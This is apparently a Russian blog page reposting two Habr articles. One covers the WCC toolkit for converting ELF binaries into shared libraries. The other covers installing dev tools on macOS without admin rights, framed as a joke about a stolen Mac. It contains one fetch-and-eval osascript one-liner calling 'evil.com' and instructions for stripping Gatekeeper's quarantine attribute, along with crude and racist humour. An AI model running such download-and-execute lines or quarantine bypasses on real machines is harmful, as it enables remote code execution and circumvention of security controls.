Вдумчивое чтение содержимого этих терминалов может привести в дурку, я предупредил.

Вдумчивое чтение содержимого этих терминалов может привести в дурку, я предупредил.

The Witchcraft Compiler Collection

Сей замечательный проект — отличное доказательство существования черной магии и колдовства тому, как мало на самом деле мы знаем об устройстве собственных программ.

По крайней мере лично автор весьма смутно представляет, как эта адская штука вообще работает, несмотря на весь свой опыт и многолетнюю практику:

WCC is a collection of compilation tools to perform binary black magic on the GNU/Linux and other POSIX platforms.

Да да, "черная магия" тут дословная цитата из описания проекта, а не выдумки или особенности перевода.

Если вкратце, WCC это такой набор очень специфичных утилит для препари.. исследования чужих программ.

Информации об этой штуке в сети крайне мало, фактически помимо проекта на Github, существует лишь одна интересная презентация, показанная на конференции Defcon, слайды из которой также использовались в статье.

Так что материал получился весьма редким.

Сборка и инвольтация эгрегора

К сожалению проект успел немного устареть, хотя и присутствует в виде готовых пакетов во многих дистрибутивах Linux. Однако в Mageia, которую автор использовал ради колдовской ступы на логотипе в качестве тестовой среды, WCC почему-то не оказалось, так что пришлось собирать руками.

Согласно описанию, необходимо установить следующие пакеты:

capstone, glibc, libbfd, libdl, zlib, libelf, libreadline, libgsl, make

Однако libbfd ныне стал частью пакета binutils и отдельно более не поставляется, а binutils скорее всего уже установлен по-умолчанию.

Забираем исходники и запускаем сборку:

git clone https://github.com/endrazine/wcc.git
git submodule init && git submodule update && make

Конечно же попытка собрать себе "гримуар электронного колдуна" из исходников закончится закономерным провалом:

Вы же не думали, что будет легко?

Вы же не думали, что будет легко?

Взывание к темным богам и поиск проблемы, взятой из трассировки выше в разных поисковиках:

undefined reference to `sframe_encoder_write'

привел наконец к вот такому багрепорту из трекера Debian. Там же был обнаружен и этот адский патч для WCC:

diff -Nru wcc-0.0.2+dfsg/debian/patches/binutils_shared.patch wcc-0.0.2+dfsg/debian/patches/binutils_shared.patch
--- wcc-0.0.2+dfsg/debian/patches/binutils_shared.patch 2020-03-21 19:02:12.000000000 +0200
+++ wcc-0.0.2+dfsg/debian/patches/binutils_shared.patch 2023-01-18 16:09:29.000000000 +0200
@@ -12,7 +12,7 @@
-all::
- $(CC) $(CFLAGS) wcc.c -o wcc -lbfd -lelf -lcapstone
+all:
-+ $(CC) $(CFLAGS) wcc.c -o wcc -l:libbfd.a -lz -ldl -liberty -lelf -lcapstone
++ $(CC) $(CFLAGS) wcc.c -o wcc -l:libbfd.a -l:libsframe.a -lz -ldl -liberty -lzstd -lelf -lcapstone
# $(CC) $(CFLAGS) -m32 -Wl,-rpath /home/jonathan/solution-exp/unlinking/awareness/self/wcc/src/wcc/lib32/ wcc.c -o wcc32 -lelf ./lib32/libbfd-2.24-system.so ./lib32/libcapstone.so.3

cp wcc ../../bin/

Как можно догадаться из этих двух строчек (если вы приличный маг):

-+ $(CC) $(CFLAGS) wcc.c -o wcc -l:libbfd.a -lz -ldl -liberty -lelf -lcapstone
++ $(CC) $(CFLAGS) wcc.c -o wcc -l:libbfd.a -l:libsframe.a -lz -ldl -liberty -lzstd -lelf -lcapstone

для завершения сборки необходимо изменить паметры, передаваемые линковщику.

Что я и проделал в файле src/wcc/Makefile:

После исправления, сборка заканчивается успешно и в каталоге bin появляются готовые к использованию "колдунские" приложения:

Колдовской набор.

Колдовской набор.

Теперь можно начинать плести заклинания.

Колдунство первое: превращаем приложение в библиотеку

Нет это не шутка и не прикол, это та самая "черная магия" от системной разработки, которой не научат на курсах по вайбкодингу.

Согласно описанию, все достаточно просто, хоть и необычно - примерно как обнаружить у девушки из Тайланда кадык:

Transforming an ELF executable binary into an ELF shared library.

Последовательность заклинаний шагов выглядит так:

Превращение утилиты cat в разделяемую библиотеку.

Превращение утилиты cat в разделяемую библиотеку.

После вызова этих нечистивых команд, то что было рождено программой для Linux, внезапно становится разделяемой библиотекой. А узревший такое в живую быдлокодер уезжает в дурку, отсыпаться и отдыхать.

Теперь рассказываю как это колдунство работает, внимание на экран:

Из презентации WCC для Defcon.

Из презентации WCC для Defcon.

На скриншоте выше видно, что по факту в файле изменился лишь один байт, точнее поле заголовка ELF64:

Из заголовочных файлов формата ELF.

Из заголовочных файлов формата ELF.

Хотя назначение этого поля не является секретом и присутствует даже в Википедии, помимо официального руководства, до столь затейливого его применения никто на моей памяти не доходил. Кроме авторов WCC.

При вызове, первым шагом происходит откат работы линковщика:

The primary use of wcc is to "unlink" (undo the work of a linker) ELF binaries, either executables or shared libraries, back into relocatable shared objects. The following command line attempts to unlink the binary /bin/ls (from GNU binutils) into a relocatable file named /tmp/ls.o

Пример вызова:

wcc -c /bin/ls -o /tmp/ls.o

По идее уже на этой стадии должен быть получен «relocable file», с которым может работать обычный gcc. Например должна отрабатывать команда:

gcc /tmp/ls.o -o /tmp/ls.so -shared

К сожалению в моей Mageia это не сработало, поэтому был использован альтернативный вариант "очищения":

cp /bin/ls /tmp/ls.o
wld --libify /tmp/ls.o

Результат выполнения команды wld теперь спокойно распознается обычным компилятором gcc:

gcc /tmp/ls.o -o /tmp/ls.so -shared

И в результате действительно получается разделяемая библиотека, которую можно спокойно линковать с вашим приложением:

file /tmp/ls.so
/tmp/ls.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=68d93a1d888eb560b8842
55a59c37cd6be0adddd, not stripped

Пример использования такой библиотеки, созданной с помощью темного ритуала из чужой программы показан на этом слайде:

Вставляет покруче Некрономикона.

Вставляет покруче Некрономикона.

Но едем дальше.

Получение имени пользователя радикальным способом - через рефлексию в плеере VLC (!)

Получение имени пользователя радикальным способом - через рефлексию в плеере VLC (!)

Колдунство второе: рефлексия для.. чистого С

Следующий уровень безудержного колдовского веселья показан на скриншоте выше, но разумеется нуждается в пояснениях:

The witchcraft shell accepts ELF shared libraries, ELF ET_DYN executables and Witchcraft Shell Scripts written in Punk-C as an input. It loads all the executables in its own address space and makes their API available for programming in its embedded interpreter.

Вообще этот абзац - один сплошной "майндфак" для всех, кто хоть немного знаком с языком С, в лучших традициях Лавкрафта погружающий разум несчастных быдлокодеров во мрак ультрахардкора.

Хотя авторы WCC на голубом глазу заявляют:

This provides for binaries functionalities similar to those provided via reflection on languages like Java.

до рефлексии уровня Java/.NET тут все же очень далеко и вызывать столь интересным образом методы в чужих библиотеках получается далеко не всегда.

Теперь рассказываю, как можно попробовать сие темное колдунство в действии. Интерпретатору wsh из состава WCC скармливается разделяемая библиотека или ELF-приложение:

wsh /usr/sbin/apache2

К сожалению стабильность работы вызывает вопросы, поэтому тут 50/50 — колдунство может сработать, а может выпасть segmentation fault. Если был передан бинарник — автоматически произойдет его «библификация», описанная выше.

Если сработало, появится сообщение зелеными буквами на черном фоне:

loading of libified binary succeeded

И можно будет пытаться вызывать:

a = ap_get_server_banner()
print(a)

Код выше — отдельный язык, такая своеобразная помесь С и Lua, с весьма поэтическим названием:

The resulting API, a powerful combination of lua and C API is called Punk-C

Авторы решили не заморачиваться с типами данных, поэтому и родилась на свет эта дикая помесь ужа с ежом С и Lua.

Так выглядит более сложный пример использования:

#!/usr/bin/wsh

-- Computing a MD5 sum using cryptographic functions from foreign binaries
-- (eg: sshd/OpenSSL)

function str2md5(input)

out = calloc(33, 1)
ctx = calloc(1024, 1)

MD5_Init(ctx)
MD5_Update(ctx, input, strlen(input))
MD5_Final(out, ctx)

free(ctx)
return out
end

input = "Message needing hashing\n"
hash = str2md5(input)
hexdump(hash,16)

exit(0)

Для демонстрации работы необходимо вначале загрузить одну из библиотек, реализующих функции MD5-хеширования, что и было немедленно проделано:

Считаем MD5-хеш с помощью метода, вызванного через рефлексию из бинарника sshd.

Считаем MD5-хеш с помощью метода, вызванного через рефлексию из бинарника sshd.

Как видите все работает и действительно отображается MD5-хеш для введенной строки, вычисленный с помощью вызова функции из бинарника sshd.

Без исходников и без линковки.

Но это далеко не все колдовские приколы, которые позволяет творить WCC.

Колдунство третье: восстановление флагов сборки

Хотя авторы WCC опять несколько преувеличивают, рассказывая про возможность восстановления абсолютно всех флагов сборки:

When compiling C code, it is often required to pass extra arguments to the compiler to signify which shared libraries should be explicitly linked against the compile code. Figuring out those compilation parameters can be cumbersome. The wldd commands displays the shared libraries compilation flags given at compile time for any given ELF binary.

На практике же речь идет только о библиотеках:

Ключи сборки mplayer.

Ключи сборки mplayer.

Так что речь больше про удобство использования, чем про уникальный функционал.

Колдунство четвертое: генератор заголовков

Последнее в этой статье, но далеко не последнее по важности и применимости:

The wcch command takes an ELF binary path as a command line, and outputs a minimal C header file declaring all the exported global variables and functions from the input binary. This automates prototypes declaration when writing C code and linking with a binary for which C header files are not available.

Вот тут действительно респект и жертвоприношение уважение, поскольку столь мощное колдунство может сильно помочь в разработке:

Генерация заголовочного .h файла из бинарника sshd. Без исходного кода.

Генерация заголовочного .h файла из бинарника sshd. Без исходного кода.

Но все же стоит помнить про ограничения технологии и не ждать 100% корректности получаемых заголовков.

В качестве иллюстрации, так выглядит небольшая часть заголовков методов, полученных этим генератором:

cat /tmp/sshd.h |head -c 500


/**
* Automatically generated by the Witchcraft Compiler Collection 0.0.9
**/
extern void *optind;
extern void *obstack_alloc_failed_handler;
extern void *error_message_count;
extern void *argp_err_exit_status;
extern void *_IO_2_1_stderr_;
extern void *stdin;
extern void *program_invocation_short_name;
[alex@illuminati wcc]$

Думаю очевидно, что артефакты вроде:

extern void *_IO_2_1_stderr_;
extern void *stdin;

придется долго вычищать вручную, чтобы полученный заголовочный файл можно было использовать.

Резюмируя

WCC это по истине необычный и редкий проект, к сожалению (или к счастью) неизвестный широкой программерской публике.

Хотя его использование требует серьезной подготовки и определенных навыков, а работа утилит часто нестабильна - эффект в виде зарева полыхающих пердаков быдлокодеров простых разработчиков выходит эпический.

Если вы занимаетесь серьезной разработкой на C/C++ под Linux и ненавидите человескую расу, думаю стоит ознакомиться с этой штукой поближе, чтобы включить WCC в свои темные планы и нечестивые эксперименты.

P.S.

Оригинал статьи в нашем блоге, статья была опубликована на Хабре.

Показать полностью 11
68

Он вам не «MacOS»

Серия Жестокие эксперименты

Рассказываю и показываю, что можно сотворить с компьютером Apple без прав администратора и стандартных средств разработки. Написано специально для подрыва пердаков маководам, так что запасайтесь попкорном.

Невозможный скриншот, по мнению официальной техподдержки и обычных разработчиков под продукцию Apple.

Невозможный скриншот, по мнению официальной техподдержки и обычных разработчиков под продукцию Apple.

Тайны внутренних органов

Apple не очень любит внимание к внутренностям своих продуктов и мягко говоря не поощряет какие-либо изыскания в них, по поводу и без. Несмотря на то что уже была попытка раскрытия исходного кода ядра (довольно быстро остановленная), «userland» — пользовательское окружение всегда был и остается закрытым.

Книг и материалов по внутреннему устройству как «большой» MacOS так и мобильной iOS откровенно мало, а изложенная там информация сильно напоминает передачу «Поле чудес» реалии Microsoft Windows времен 90х:

недокументированные функции, непонятные сервисы, домыслы, мнения и догадки.

Разве что колдовства и магических ритуалов пока нет.

Поэтому изложенный материал потребовал многих лет практики и изучения MacOS, описанное в статье не «гуглится» поисковиками, не подсказывается нейросетью и вообще мало афишируется широкой публике.

Что мы будем делать

Ниже я покажу несколько интересных трюков связанных с разработкой ПО на абсолютно чистой пользовательской MacOS, без какого-либо установленного дополнительного инструментария и без прав администратора.

Последнее очень важно, поскольку права администратора нужны в MacOS практически для всего более-менее интересного:

изменения настроек ОС, установки нового ПО, доступа к некоторым каталогам и даже определенным действиям вроде записи экрана.

Представьте что вы — огромный негр с золотой цепью из Бруклина и только что отжали новенький Mac у какого‑то ботана. Доступ на рабочий стол есть (он автоматический), но пароля администратора вы не знаете. Однако прежде чем толкать паль ближайшему скупщику ради денег на крэк, вы вдруг решили заняться разработкой ПО под MacOS.

С кем не бывает.

Главное не забудьте потом записать трек про вашу нелегкую жизнь и «вкатывание в ИТ» столь необычным способом.

(PR‑менеджер просил кейс использования для материала — я предоставил)

Начало приключения: нулевая MacOS Sonoma, без какой-либо настройки за исключением фоновой картинки.

Начало приключения: нулевая MacOS Sonoma, без какой-либо настройки за исключением фоновой картинки.

Девственная среда

Ради этой статьи была развернута чистая копия последней «MacOS Sonoma» в виртуальной машине, с абсолютно стандартным набором пользовательского ПО. Именно такую систему вы получите при покупке свежего Mac в официальном магазине Apple в NY.

Для начала кратко пройдусь по возможностям MacOS и тому что в ней есть «из коробки». Начнем с двух самых важных для разработчика приложений: консольного терминала и текстового редактора.

Запускаются они с помощью Launchpad, путем ввода названий в строку поиска. Для запуска терминала вводите terminal, для текстового редактора edit.

Вот так выглядит запущенный терминал:

И редактор (c переключением вида на обычный текст):

MacOS это самый настоящий Unix, в котором есть практически все стандартные консольные утилиты: bash, grep, ps, top, pwd, uname и так далее — отличия от какой-нибудь современной Ubuntu минимальны, если не начать углубляться в детали.

Но к сожалению в чистой MacOS практически полностью отсутствуют средства разработки и вместо настоящих приложений установлены заглушки, попытка вызова которых выдает стандартный диалог:

К счастью даже в установке MacOS по-умолчанию присутствуют два серьезных интерпретатора скриптовых языков: Perl и Tcl. И кое-что еще, куда более мощное.

Perl

Оочень мощная штука, страшное оружие в умелых руках и доступная в любой MacOS практически с первых версий.

Разумеется это старая добрая 5я версия (да это шутка для посвященных):

Встроенный в MacOS Perl не совсем обычный — в нем сразу установлены модули Foundation и PerlObjCBridge, которые позволяют взаимодействовать с нативными приложениями на Objective‑C и API самой MacOS из скриптов на Perl.

Напоминаю, если кто-то из читателей не в курсе:

приложения на Objective-C взаимодействуют через специальные сообщения — события.

Поэтому благодаря этим модулям у вас появляется возможность влезть на этот праздник жизни из скриптов на Perl.

Для примера работа с нативными строками:

#!/usr/bin/perl

use Foundation;

$s1 = NSString->stringWithCString_("Hello ");
$s2 = NSString->alloc()->initWithCString_("World");
$s3 = $s1->stringByAppendingString_($s2);
printf "%s\n", $s3->cStri>cString();

А вот так выглядит получение имени хоста:

#!/usr/bin/perl
use Foundation;
$hostName = NSProcessInfo->processInfo()->hostName();
printf "%s\n", $hostName->cString();

К сожалению в этой версии нет поддержки работы с интерфейсом:

This version of PerlObjCBridge does not directly support writing GUI Cocoa applications in Perl.

Зато все остальное работает на ура, например вот такой классический HTTP-сервер:

#!/usr/bin/perl

use strict;
use warnings;

use CGI qw/ :standard /;
use Data::Dumper;
use HTTP::Daemon;
use HTTP::Response;
use HTTP::Status;
use POSIX qw/ WNOHANG /;

use constant HOSTNAME => qx{hostname};

my %O = (
'listen-host' => '127.0.0.1',
'listen-port' => 8080,
'listen-clients' => 30,
'listen-max-req-per-child' => 100,
);

my $d = HTTP::Daemon->new(
LocalAddr => $O{'listen-host'},
LocalPort => $O{'listen-port'},
Reuse => 1,
) or die "Can't start http listener at $O{'listen-host'}:$O{'listen-port'}";

print "Started HTTP listener at " . $d->url . "\n";

my %chld;

if ($O{'listen-clients'}) {
$SIG{CHLD} = sub {
# checkout finished children
while ((my $kid = waitpid(-1, WNOHANG)) > 0) {
delete $chld{$kid};
}
};
}

while (1) {
if ($O{'listen-clients'}) {
# prefork all at once
for (scalar(keys %chld) .. $O{'listen-clients'} - 1 ) {
my $pid = fork;

if (!defined $pid) { # error
die "Can't fork for http child $_: $!";
}
if ($pid) { # parent
$chld{$pid} = 1;
}
else { # child
$_ = 'DEFAULT' for @SIG{qw/ INT TERM CHLD /};
http_child($d);
exit;
}
}

sleep 1;
}
else {
http_child($d);
}

}

sub http_child {
my $d = shift;

my $i;
my $css = <<CSS;
form { display: inline; }
CSS

while (++$i < $O{'listen-max-req-per-child'}) {
my $c = $d->accept or last;
my $r = $c->get_request(1) or last;
$c->autoflush(1);

print sprintf("[%s] %s %s\n", $c->peerhost, $r->method, $r->uri->as_string);

my %FORM = $r->uri->query_form();

if ($r->uri->path eq '/') {
_http_response($c, { content_type => 'text/html' },
start_html(
-title => HOSTNAME,
-encoding => 'utf-8',
-style => { -code => $css },
),
p('Here are all input parameters:'),
pre(Data::Dumper->Dump([\%FORM],['FORM'])),
(map { p(a({ href => $_->[0] }, $_->[1])) }
['/', 'Home'],
['/ping', 'Ping the simple text/plain content'],
['/error', 'Sample error page'],
['/other', 'Sample not found page'],
),
end_html(),
)
}
elsif ($r->uri->path eq '/ping') {
_http_response($c, { content_type => 'text/plain' }, 1);
}
elsif ($r->uri->path eq '/error') {
my $error = 'AAAAAAAAA! My server error!';
_http_error($c, RC_INTERNAL_SERVER_ERROR, $error);
die $error;
}
else {
_http_error($c, RC_NOT_FOUND);
}

$c->close();
undef $c;
}
}

sub _http_error {
my ($c, $code, $msg) = @_;

$c->send_error($code, $msg);
}

sub _http_response {
my $c = shift;
my $options = shift;

$c->send_response(
HTTP::Response->new(
RC_OK,
undef,
[
'Content-Type' => $options->{content_type},
'Cache-Control' => 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0',
'Pragma' => 'no-cache',
'Expires' => 'Thu, 01 Dec 1994 16:00:00 GMT',
],
join("\n", @_),
)
);
}

Совершенно спокойно работает на девственно чистой MacOS, без каких-либо дополнительных библиотек и установленных средств разработки:

Даже этой столь простой версии хватит чтобы создавать простейшие веб-приложения и воровать данные.

Tcl и Tk

Дедушка и бабушка современных скриптовых языков, ненавидимый лично Столлманом про который я успел написать отдельную статью.

Из интересного для пролетариев от разработки, не владеющих этим замечательным языком, отмечу, что в MacOS оно позволяет «из коробки» работать с интерфейсом — рисовать диалоги, кнопки, списки и так далее без установленных средств разработки, без каких‑либо внешних библиотек, SDK или компиляторов.

Вот так для примера выглядит простейший калькулятор:

Разумеется будут работать и все остальные возможности этого языка: работа с сетью, файлами, юникодом и всем прочим интересным. Но это цветочки, по сравнению с главной имбой для творения всякого необычного и нехорошего.

AppleScript

Начну с цитаты:

AppleScript — язык сценариев, созданный Apple и встроенный в macOS, используемой на компьютерах корпорации начиная с System 7.

И пусть вас не смущают слова «сценарий» и «команды выполнения», это на самом деле страшная штука в умелых руках.

Посмотрите на такой пример:

osascript -l JavaScript -i eval(ObjC.unwrap( $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('https://evil.com/evil')),$.NSUTF8StringEncoding )) );

Тут на самом деле очень много интересного, для знающих и владеющих:

в одной строке происходит скачивание и немедленное выполнение командного кода с синтаксисом Javascript.

osascript — командный интерпретатор для сценариев AppleScript, ключ -l указание на синтаксис Javascript, -i это interactive mode, однострочный скрипт. А NSString, NSData и NSURL — уже системные классы.

Вот так можно отправить стандартное оповещение из скрипта:

osascript -e 'display notification "" with title "test"'

Обратите внимание на синтаксис — это стандартный синтаксис AppleScript.

Результат выполнения выглядит вот так:

Но на самом деле все описанное — мелочи, специфичные инструменты, работать с которыми без внешних библиотек вообщем-то сложно а главное неприятно. Поэтому мы переходим наконец к «большой разработке» и современному инструментарию.

Но прежде решим проблему с одной заразой, мешающей спокойной жизни и работе честных людей, на ворованном маке и без прав администратора.

Установка без доверенных источников

В последних версиях MacOS добавили хтоническую дичь под названием Gatekeeper:

macOS includes a technology called Gatekeeper, that's designed to ensure that only trusted software runs on your Mac.

The safest place to get apps for your Mac is the App Store. Apple reviews each app in the App Store before it’s accepted and signs it to ensure that it hasn’t been tampered with or altered. If there’s ever a problem with an app, Apple can quickly remove it from the store.

Как только вы попробуете скачать бинарник, скрипт или архив из интернета и запустить — увидите вот такое страшное предупреждение:

Работает оно через специальный атрибут, устанавливаемый на каждый скачанный файл:

К счастью данный атрибут легко и просто снимается командой:

xattr -d com.apple.quarantine ./ld64.lld

После чего бинарник совершенно спокойно запускается без каких-либо ограничений:

Имейте ввиду что атрибут карантина ставится автоматически на все файлы внутри архива при распаковке если не был снят с самого архива. Поэтому необходимо снимать атрибут карантина с архива до его распаковки, а именно архивы мы и будем использовать далее, поскольку для нормальной установки ПО нужны права администратора.

Также здесь и далее я буду использовать архитектуру x86_64, как самую распространенную. Но даже если у вас совсем новый мак на M1 — все равно обязательно будет поддержка x86_64 и бинарники под эту архитектуру будут запускаться.

Node.js

Открываете стандартный браузер Safari и скачиваете с официального сайта готовую бинарную сборку, версию в архиве (не инсталлятор), прямая ссылка для скачивания тут.

Safari считает себя умнее типичного пользователя Mac (и не без оснований), поэтому частично распакует архив самостоятельно — после скачивания и вместо файла .tar.gz у вас будет просто.tar.

Снимаем атрибут карантина и распаковываем:

xattr -d com.apple.quarantine ~/Downloads/node-v20.11.1-darwin-x64.tar
tar xvf ~/Downloads/node-v20.11.1-darwin-x64.tar

Запускаем bash и добавляем каталог с Node.js в переменную PATH:

export PATH=~/work/node-v20.11.1-darwin-x64/bin:$PATH

Проверяем что node доступна из окружения:

node -v

Команда выше должна успешно выполниться и отобразить версию установленной Node.js.

Также вместе с Node.js должен быть и пакетный менеджер NPM:

npm -v

Этого уже хватит для разработки какого-то простого приложения на Node.js, так что переходим к более серьезным вещам.

XPM

Вот про эту штуку вы точно не знали:

Based on a simple multi-version dependencies manager (built on top of npm), the xPack project aims to provide a set of cross-platform tools to manage, configure and build complex, modular, multi-target (multi-architecture, multi-board, multi-toolchain) projects, in a reproducible way, with an emphasis on C/C++ and bare-metal embedded projects.

Сие порождение сумрачного гения — пакетный менеджер, работающий поверх npm для нативных библиотек и инструментов разработки.

С помощью этой чудесной утилиты можно скачать и установить всю необходимую среду для нативной разработки на C/C++ под Mac — без всяких XCode и прочей хтони.

Устанавливаем:

npm install --global xpm@latest

Создаем тестовое окружение:

mkdir testproj
cd testproj
xpm init

В результате появится новый пустой проект с файлом package.json внутри, в который будут добавляться зависимости.

Нативные зависимости.

Честно говоря не думал что доживу до дня, когда clang, cmake и gcc будут устанавливаться в виде пакетов NPM, но пришлось (проклятый здоровый образ жизни да):

Ставим:

xpm install @XpaCK-dev-tools/clang@latest --verbose

После выполнения появится каталог xpacks, внутри которого будет каталог .bin с всеми стандартными бинарниками, необходимыми для компиляции:

Добавляем его в переменную окружения PATH:

export PATH=./xpacks/.bin:$PATH

Теперь наконец можно вызвать компилятор вместо заглушки, требующей в ультимативной форме установить XCode:

Но к сожалению одного только компилятора недостаточно для сборки чего-то работающего, нужны заголовочные файлы для стандартных функций вроде ввода-вывода.

Разумеется для нормальных людей они тоже поставляются вместе с XCode и в чистой MacOS отсутствуют начисто, в отличие от большинства линуксов или *BSD систем.

К счастью выход есть в виде (только не смейтесь) пиратских выкладок MacOS SDK на Github (!)

Чего только на свете не бывает, ей богу.

Я использовал для этой статьи версию заголовочных файлов взятую вот отсюда, но разумеется подобные репозитории регулярно зачищают. А широкие программисткие массы выкладывают по‑новой, поскольку это нужная вещь для автоматических сборок под MacOS, без приключений с кросс компиляцией и скачивания ~14Гб пакета XCode.

Ищутся такие репозитории очень простым запросом в поисковиках:

github macos sdk

Скачиваем архив, снимаем атрибут карантина и распаковываем:

xattr -d com.apple.quarantine ~/Downloads/MacOSX13.3.tar.xz
tar xvzf ~/Downloads/MacOSX13.3.tar.xz

На архиве в формате .xz у Safari заканчивается весь его интеллект, поэтому никакой автоматической распаковки не будет и архив останется как есть.

Открываем текстовый редактор (TextEdit), вводим вот такой простейший код на C:

#include <stdio.h>

int main()
{
prinltlf("Йо-хо-хо и прощай XCode!\n");
return 0;
}

Cохраняем файл как hello.c в каталог ~/work/testproj.

Компилируем:

clang hello.c -I ./MacOSX13.3.sdk/usr/include -L ./MacOSX13.3.sdk/usr/lib -D __i386__ -fuse-ld=lld -o hello

Обратите внимание на флаг -fuse-ld=lld — это указание на использование линковщика поставляемого с компилятором clang вместо системного ld, который находится в библиотеке binutils, которая (сюрприз) ставится только вместе с XCode.

Установка специальной переменной __i386__ также необходима, поскольку она используется в макросах заголовочных файлов, без ее указания сборка завершится с ошибками.

Запускаем собранный бинарник:

./hello

Убеждаемся что работает:

Прежде чем у меня все получилось, несколько раз попадал на сборки clang с неправильной версией линковщика — для другой архитектуры.

Чтобы обойти эту проблему, можно скачать готовый линковщик специально для x86_64 архитектуры из этого репозитория, снять атрибут карантина, распаковать и использовать при сборке:

clang hello.c -I ./MacOSX13.3.sdk/usr/include -L ./MacOSX13.3.sdk/usr/lib -D __i386__ -fuse-ld=lld --ld-path=~/Downloads/ld64.lld -o hello

Обратите внимание что ключ -fuse-ld=lld не может содержать полный путь, поэтому для его задания нужно использовать отдельный ключ:

--ld-path=~/Downloads/ld64.lld

На сладкое еще несколько инструментов для разработки.

Java

Куда же без нее. Разумеется официальную версию поставить не выйдет, поскольку она также поставляется в виде бинарного пакета, требующего установки в систему и прав администратора.

Зато есть OpenJDK и готовые бинарные сборки для MacOS:

curl https://download.java.net/java/GA/jdk21.0.2/f2283984656d49d6... --output jdk.tar.gz

Я же не забыл рассказать что в MacOS по-умолчанию есть утилита curl? Тогда добавлю еще один интересный факт:

скачанные с помощью системного curl файлы не имеют атрибут карантина:

Поэтому распаковываем и спокойно запускаем, пока Gatekeeper не видит:

tar xvzf ~/jdk.tar.gz ./jdk-21.0.2.jdk/Contents/Home/bin/java --version

Должна отобразиться версия сборки:

И дальше спокойно работаем с любыми Java-приложениями, без ограничений.

Git

Нормальный Git в MacOS также поставляется вместе с XCode, его нехватка для нормальной работы очень быстро станет очевидной и начнет мешать жить приличным джентельменам.

К счастью все же есть временное решение в виде реализации клиента Git на.. Javascript.

Называется эта штука isomorphic‑git, работает как в браузере так и в Node.js и несмотря на всю свою технологическую «еретичность» — позволяет вполне сносно работать, хотя‑бы для простейших задач скачивания проекта.

Устанавливается разумеется с помощью npm:

npm i -g isomorphic-git

Пример использования:

isogit clone --url=https://github.com/isomorphic-git/isomorphic-git --depth=1 --singleBranch

Как видите вместо старого доброго git тут используется скрипт isogit, с совпадающими аргументами.

Эпилог

Данная статья написана исключительно в исследовательских целях, не надо пожалуйста воровать чужие маки и насиловать их владельцев (даже если им это нравится).

Автор всего лишь хотел рассказать широкой аудитории, что под капотом их любимого гламурного серебристого девайса с яблоком скрывается очень сложная и навороченная Unix‑система, которая легко и просто может быть использована для разных интересных дел, например для организации CI-сервера.

P.S.

Статья была опубликована на Хабре, оригинал доступен в нашем блоге.

Показать полностью 17
Отличная работа, все прочитано!

Темы

Политика

Теги

Популярные авторы

Сообщества

18+

Теги

Популярные авторы

Сообщества

Игры

Теги

Популярные авторы

Сообщества

Юмор

Теги

Популярные авторы

Сообщества

Отношения

Теги

Популярные авторы

Сообщества

Здоровье

Теги

Популярные авторы

Сообщества

Путешествия

Теги

Популярные авторы

Сообщества

Спорт

Теги

Популярные авторы

Сообщества

Хобби

Теги

Популярные авторы

Сообщества

Сервис

Теги

Популярные авторы

Сообщества

Природа

Теги

Популярные авторы

Сообщества

Бизнес

Теги

Популярные авторы

Сообщества

Транспорт

Теги

Популярные авторы

Сообщества

Общение

Теги

Популярные авторы

Сообщества

Юриспруденция

Теги

Популярные авторы

Сообщества

Наука

Теги

Популярные авторы

Сообщества

IT

Теги

Популярные авторы

Сообщества

Животные

Теги

Популярные авторы

Сообщества

Кино и сериалы

Теги

Популярные авторы

Сообщества

Экономика

Теги

Популярные авторы

Сообщества

Кулинария

Теги

Популярные авторы

Сообщества

История

Теги

Популярные авторы

Сообщества

Недвижимость и ремонт

Теги

Популярные авторы

Сообщества